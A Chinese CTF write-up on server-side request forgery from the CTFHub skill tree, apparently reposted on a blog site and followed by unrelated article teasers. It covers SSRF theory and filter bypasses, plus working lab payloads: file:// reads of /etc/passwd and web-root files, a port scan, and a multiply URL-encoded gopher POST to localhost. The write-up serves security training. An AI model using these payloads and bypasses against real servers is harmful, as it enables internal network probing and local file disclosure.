CTFHUB技能树——SSRF(一)

目录

一、SSRF(服务器端请求伪造)

漏洞产生原理:

漏洞一般存在于

产生SSRF漏洞的函数(PHP):

发现SSRF漏洞时:

SSRF危害:

SSRF漏洞利用手段:

SSRF绕过方法:

二、CTFHUB技能树 SSRF

1.Http、file和Dict等协议的利用

内网访问 

伪协议读取文件

​编辑端口扫描

​编辑2.Gopher协议的利用

 POST请求


一、SSRF(服务器端请求伪造)

漏洞产生原理:

大多是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

漏洞一般存在于

(1)分享链接
(2)转码服务
(3)在线翻译
(4)图片、文章收藏功能
(5)未公开的API实现以及其他调用URL的功能
(6)图片加载与下载
(7)从URL关键字中寻找(share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain)

产生SSRF漏洞的函数(PHP):

(1)file_get_contents()
(2)sockopen()
(3)curl_exec()

发现SSRF漏洞时:

首先要测试所有可用的URL伪协议
file:// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

SSRF危害:

SSRF漏洞利用手段:

(1)可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
(2)攻击运行在内网或本地的有漏洞程序(比如溢出);
(3)可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
(4)攻击内网或外网有漏洞的Web应用;
(5)使用file:///协议读取本地文件(或其他协议)

SSRF绕过方法:

(1)@          http://abc.com@127.0.0.1
(2)添加端口号      http://127.0.0.1:8080
(3)短地址        https://0x9.me/cuGfD
(4)可以指向任意ip的域名  xip.io
(5)ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
(6)非HTTP协议
(7)DNS Rebinding

理论转自:Web 常见十大漏洞原理及利用方式_web漏洞利用实操-CSDN博客

二、CTFHUB技能树 SSRF

1.Http、file和Dict等协议的利用

内网访问 

题目描述:尝试访问位于127.0.0.1的flag.php吧

从目标主机内网环境访问它本地的flag.php,构建url:

/?url=http://127.0.0.1/flag.php

伪协议读取文件

题目描述:尝试去读取一下Web目录下的flag.php吧

 无法直接访问

使用file:///协议 访问本地文件系统

构建payload:

file:/// [文件的绝对路径和文件名]?url=file:///var/www/html/flag.php

端口扫描

题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

知道端口号范围,使用bp爆破  将8000设为变量

变量类型number、范围8000~9000

 

 8218端口 ,respond得flag

2.Gopher协议的利用

学习参考:CTFHub技能树笔记之SSRF:POST请求、文件上传_ctfhub ssrf post-CSDN博客

gopher协议是ssrf利用中最强大的协议

gopher协议支持发出GET、POST请求:

可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

默认端口为70,一般需发送到80端口

如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

gopher使用结构:

gopher://127.0.0.1:80/_{TCP/IP数据流}_不能省

 POST请求

题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.

使用dirsearch扫描一下

python dirsearch.py -u http://challenge-0981474f125e7046.sandbox.ctfhub.com:10800/?url=127.0.0.1/

状态码为200的只有flag.php

访问127.0.0.1/flag.php,出现一个输入框

查看源代码有一个key值

将key输入输入框

尝试file///协议分别读取index.php 和flag.php的页面源码

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

POST传参了key

$_SERVER['SERVER_ADDR ' ]:当前运行脚本所在的服务器(非本地)的 IP 地址。  

所以在flag.php传入key值返回flag,index.php可以利用curl传url

故用gopher协议在index.php中构造post请求包往flag.php传key值,从而获得flag

构造 Gopher协议所需的 POST请求:

POST包必须包含的四个参数:Content-Type、Content-Length(key的长度)、host,、post

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=687e7be15804b88bc8014fa4008ccb3c

利用ssrf时常需要进行多次url编码,执行curl功能后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。

(可以说传参+跳转,请求多少次就要编码多少次)

所以对构造的请求包进行三次 URL编码:

第一次编码后,将%0A全部替换为%0D%0A

因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

第一次url编码:
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
替换:
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
第二次url编码:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D687e7be15804b88bc8014fa4008ccb3c
如果有302跳转,还需第三次编码:
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,于是在index.php中发送 POST请求

最终payload如下,使用bp传入POST请求得flag。

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/17735.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

结构体的偏移地址,首地址的宏计算

C语言的库函数中提供了计算结构体的一个元素在结构体中的偏移量,以及通过偏移量和结构体中元素的指针计算出来结构体的首地址。但是在一些场景没有办法使用C语言库中的函数,那么就需要自己进行定义。 如下面代码所示的两个宏定义就完成了计算结构体成员偏…

如何解决elment ui必填验证输入空格通过校验?

很久之前有个客户定制了一个ERP系统,里面有个单位的必填项,是没有任何规律的字符串,也就是只需要做必填即可,结果前段时间维护该信息的换了一个人,必填的单位居然是空白,因为数据缺失的原因导致后面一系列的工作流一个都提交不了,该员工意识到自己闯祸后直接跑路,联系不…

SQL生成序列浅析

01.sqlserver版本 使用sqlserver将数据复制n条 selectt.indx,t.name,tmp.vlue from (values(1,苹果) ) as t(indx, name) ,(select[number] as vluefrom master.dbo.spt_valueswhere [type] pand [number] between 1 and 10 ) as tmpspt_values是什么 spt_values是SQL Se…

oracle 12c GI卸载流程

集群节点停止服务 [crsctl stop crs -f grid运行deinstall [rootprimary1 bin]# su - grid [gridprimary1 ~]$ cd $ORACLE_HOME/deinstall [gridprimary1 deinstall]$ ls bootstrap_files.lst bootstrap.pl deinstall deinstall.pl deinstall.xml jlib readme.txt …

多张图片上传、图片回显、url路径转成File文件

1. 实现 背景&#xff1a;在表单中使用element-plus实现多张图片上传(限制最多10张)&#xff0c;因为还要与其他参数一起上传&#xff0c;所以使用formData格式。 编辑表单回显时得到的是图片路径数组&#xff0c;上传的格式是File&#xff0c;所以要进行一次转换。 <tem…

超频是什么意思?超频的好处和坏处

你是否曾经听说过超频&#xff1f;在电脑爱好者的圈子里&#xff0c;这个词似乎非常熟悉&#xff0c;但对很多普通用户来说&#xff0c;它可能还是一个神秘而陌生的存在。 电脑超频是什么意思 电脑超频&#xff08;Overclocking&#xff09;&#xff0c;顾名思义&#xff0c;是…

PCIe (1)

计算PCIe的吞吐 PCIe吞吐依赖以下因素 >protocol overhead >payload size >completion latency >flow control update latency >characteristics of the devices that form the link Protocol Overhead 如果是8B/10B的编码,那么需要25%的开销。 对于Gen…

前端面试题大合集7----模块化/工程化/ES6+标准

一、简述webpack的核心原理 &#xff08;1&#xff09;一切皆模块 正如JS文件可以是一个“模块”一样&#xff0c;其它的文件也可视作模块。因此可以执行require(myJsFile.js)&#xff0c;亦可执行require(myCssFile.css)&#xff0c;这意味着我们可以将事物分割成更小的、易…

堆排序和Topk问题

堆排序 堆排序即利用堆的思想来进行排序&#xff0c; 总共分为两个步骤&#xff1a; 1. 建堆 升序&#xff1a;建大堆&#xff1b; 降序&#xff1a;建小堆 2 .利用堆删除思想来进行排序 利用堆删除思想来进行排序 建堆和堆删除中都用到了向下调整&#xff0c;因此掌握了…

外卖系统关于redis使用解决高并发情况

1、如何配置redis 在java中操作redis 操作步骤&#xff1a; 1、导入Spring Data Redis的maven坐标 2、配置Redis数据源 3、编写配置类&#xff0c;创建RedisTemplate对象 4、通过RedisTemplate对象操作Redis 2、Redis结合Lua脚本 减少网络开销&#xff1a;使用Lua脚本&#xf…

FolkMQ v1.5.1 发布(“新式”国产消息中间件)

FolkMQ 是个“新式”的消息中间件。强调&#xff1a;“小而巧”、“简而强”。 功能简表 角色功能生产者&#xff08;客户端&#xff09;发布普通消息、Qos0消息、定时消息、顺序消息、可过期消息、事务消息、广播消息消费者&#xff08;客户端&#xff09;订阅、取消订阅。消…

前端面试题日常练-day27 【面试题】

题目 希望这些选择题能够帮助您进行前端面试的准备&#xff0c;答案在文末。 1. 在Vue中&#xff0c;以下哪个选项可以用于监听数据的变化并执行相应的操作&#xff1f; a) computed b) methods c) data d) watch 2. 在Vue中&#xff0c;以下哪种方式可以实现组件之间的通信…

中医理疗元宇宙 科技赋能中医药产业走向国际市场

基于380亿参数量&#xff0c;对中医药海量文本进行数据训练&#xff0c;实现方剂优化、机制阐释和新适应症的精准发现……日前在天津召开的数智赋能大健康产业新质生产力暨第四届中医药国际发展大会上&#xff0c;由天士力医药集团与华为云共同开发的“数智本草”中医药大模型正…

37. 解数独 - 力扣(LeetCode)

基础知识要求&#xff1a; Java&#xff1a; 方法、for循环、if else语句、数组 Python&#xff1a; 方法、for循环、if else语句、列表 题目&#xff1a; 编写一个程序&#xff0c;通过填充空格来解决数独问题。 数独的解法需 遵循如下规则&#xff1a; 数字 1-9 在每一行…

Windows搭建Nginx代理本地盘的文件(共享路径或本地路径)

文章目录 Windows搭建Nginx代理本地盘的文件 - 前言需求背景挂载网络共享路径检查连接状态下载Nginx编辑 Nginx 配置文件启动 Nginx检测Nginx是否成功启动使用方法远程共享路径示例本地文件示例 测试 Windows搭建Nginx代理本地盘的文件 - 前言 在开发过程中&#xff0c;确保文…

ChatGPT Mac客户端 下载安装教程(免费 不限次数使用 还支持语音聊天)

ChatGPT Mac客户端 下载安装教程&#xff08;免费 不限次数使用 还支持语音聊天&#xff09; 原文链接&#xff1a;https://blog.csdn.net/weixin_48311847/article/details/139248625 免费 不限次数使用 还支持语音聊天

mysql 排序、查询执行流程、幻读

文章目录 MySQL的 ORDER BY 执行流程示例表和查询语句执行流程全字段排序Rowid 排序全字段排序 VS rowid排序联合索引优化覆盖索引优化 小结思考题问题执行过程中是否需要排序&#xff1f;如何在数据库端实现不排序&#xff1f;实现分页需求 使用ORDER BY RAND()内存临时表与磁…

ANDROID OLLVM 混淆配置

安装环境 MacOSGITCMAKENDK - 21.1.6352462 步骤 1. 编译项目 此项目版本较低 https://github.com/obfuscator-llvm/obfuscator &#xff0c;我们使用 https://github.com/heroims/obfuscator 进行编译 git clone https://github.com/heroims/obfuscator.gitcd obfuscator…

曼城四连冠,剑南春与万千球迷共同见证“荣耀时刻”

执笔 | 洪大大 编辑 | 扬 灵 5月19日&#xff0c;英超2023-2024赛季第38轮比赛全面开打&#xff0c;凭借队员的出色发挥&#xff0c;曼城最终以3-1战胜西汉姆联&#xff0c;成功捧起了英超联赛的奖杯&#xff0c;成为英格兰足球顶级联赛100多年历史上第一支成就四连冠的豪门…

事务报错没有显示回滚导致DDL阻塞引发的问题

在业务开发过程中&#xff0c;显示的开启事务并且在事务处理过程中对不同的情况进行显示的COMMIT或ROLLBACK&#xff0c;这是一个完整数据库事务处理的闭环过程。 这种在应用开发逻辑层面去handle的事务执行的结果&#xff0c;既确保了事务操作的数据完整性&#xff0c;又遵循了…